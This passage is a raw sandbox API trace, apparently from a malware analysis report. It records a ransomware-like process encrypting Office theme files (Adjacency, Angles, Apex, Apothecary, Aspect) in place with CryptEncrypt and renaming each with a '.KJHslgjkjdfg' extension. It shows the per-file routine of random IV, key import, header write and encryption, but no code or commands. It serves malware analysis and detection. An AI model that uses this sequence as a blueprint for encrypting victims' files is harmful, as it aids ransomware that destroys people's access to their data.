hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xd0b0, dwBufLen=0xd0b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xd0b0) returned 1 [0219.667] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.667] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd0b0, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0xd0b0, lpOverlapped=0x0) returned 1 [0219.667] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0219.668] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd184, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.668] SetEndOfFile (hFile=0x124) returned 1 [0219.670] GetProcessHeap () returned 0x990000 [0219.670] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.670] GetProcessHeap () returned 0x990000 [0219.670] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.670] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx.kjhslgjkjdfg")) returned 1 [0219.672] CloseHandle (hObject=0x124) returned 1 [0219.672] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62f9d200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x62f9d200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x11098, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Angles.thmx", cAlternateFileName="ANGLES~1.THM")) returned 1 [0219.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0219.673] GetProcessHeap () returned 0x990000 [0219.674] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.674] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.674] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0219.674] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0219.676] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0219.676] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.676] GetProcessHeap () returned 0x990000 [0219.676] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.676] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0219.676] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0219.676] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0219.676] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0219.676] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0219.676] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0219.676] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0219.676] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0219.676] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0219.676] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.676] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.676] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x11098, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x11098, lpOverlapped=0x0) returned 1 [0219.678] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x110a0, dwBufLen=0x110a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x110a0) returned 1 [0219.679] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.679] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x110a0, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x110a0, lpOverlapped=0x0) returned 1 [0219.679] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0219.679] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x11174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.679] SetEndOfFile (hFile=0x124) returned 1 [0219.681] GetProcessHeap () returned 0x990000 [0219.681] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.681] GetProcessHeap () returned 0x990000 [0219.681] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.682] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx.kjhslgjkjdfg")) returned 1 [0219.683] CloseHandle (hObject=0x124) returned 1 [0219.683] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda5e100, ftCreationTime.dwHighDateTime=0x1cbded8, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfda5e100, ftLastWriteTime.dwHighDateTime=0x1cbded8, nFileSizeHigh=0x0, nFileSizeLow=0x3f427, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Apex.thmx", cAlternateFileName="APEX~1.THM")) returned 1 [0219.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0219.685] GetProcessHeap () returned 0x990000 [0219.685] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.685] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.685] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0219.685] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x9, lpOverlapped=0x0) returned 1 [0219.688] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0219.688] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.688] GetProcessHeap () returned 0x990000 [0219.688] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0219.688] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30) returned 1 [0219.688] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0219.688] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f8*=0x30, lpOverlapped=0x0) returned 1 [0219.688] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0219.688] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0219.688] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0219.688] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0219.688] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0219.688] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0219.688] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.688] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.689] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3f427, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x3f427, lpOverlapped=0x0) returned 1 [0219.694] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x3f430, dwBufLen=0x3f430 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x3f430) returned 1 [0219.696] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.696] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3f430, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x3f430, lpOverlapped=0x0) returned 1 [0219.697] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0219.697] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3f4f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.697] SetEndOfFile (hFile=0x124) returned 1 [0219.701] GetProcessHeap () returned 0x990000 [0219.701] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0219.701] GetProcessHeap () returned 0x990000 [0219.701] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.701] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx.kjhslgjkjdfg")) returned 1 [0219.703] CloseHandle (hObject=0x124) returned 1 [0219.703] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15a56, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Apothecary.thmx", cAlternateFileName="APOTHE~1.THM")) returned 1 [0219.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0219.705] GetProcessHeap () returned 0x990000 [0219.705] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.705] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.705] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0219.705] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xa, lpOverlapped=0x0) returned 1 [0219.708] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0219.708] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.708] GetProcessHeap () returned 0x990000 [0219.708] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.708] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0219.708] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0219.708] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0219.708] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0219.708] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0219.708] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0219.708] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0219.709] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0219.709] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0219.709] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.709] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.709] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x15a56, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x15a56, lpOverlapped=0x0) returned 1 [0219.711] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x15a60, dwBufLen=0x15a60 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x15a60) returned 1 [0219.712] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.712] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x15a60, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x15a60, lpOverlapped=0x0) returned 1 [0219.712] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0219.713] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x15b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.713] SetEndOfFile (hFile=0x124) returned 1 [0219.716] GetProcessHeap () returned 0x990000 [0219.716] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.716] GetProcessHeap () returned 0x990000 [0219.716] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.716] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx.kjhslgjkjdfg")) returned 1 [0219.718] CloseHandle (hObject=0x124) returned 1 [0219.718] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1396800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1396800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x109e5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Aspect.thmx", cAlternateFileName="ASPECT~1.THM")) returned 1 [0219.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\aspect.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0219.720] GetProcessHeap () returned 0x990000 [0219.720] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.720] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.720] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0219.720] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xb, lpOverlapped=0x0) returned 1 [0219.723] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0219.723] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.723] GetProcessHeap () returned 0x990000 [0219.723] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.723] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0219.723] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0219.723] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0219.723] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0219.723] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0219.723] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0219.724] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0219.724] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0219.724] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0219.724] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.724] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.724] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x109e5, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x109e5, lpOverlapped=0x0) returned 1 [0219.726] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x109f0, dwBufLen=0x109f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x109f0) returned 1 [0219.727] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.727] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x109f0, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x109f0, lpOverlapped=0x0) returned 1 [0219.727] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0219.727] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.727] SetEndOfFile (hFile=0x124) returned 1 [0219.730] GetProcessHeap () returned 0x990000 [0219.730] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.730] GetProcessHeap () returned 0x990000 [0219.730] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.730] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\aspect.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx.KJHslgjkjdfg" (normalized: "c:\\program 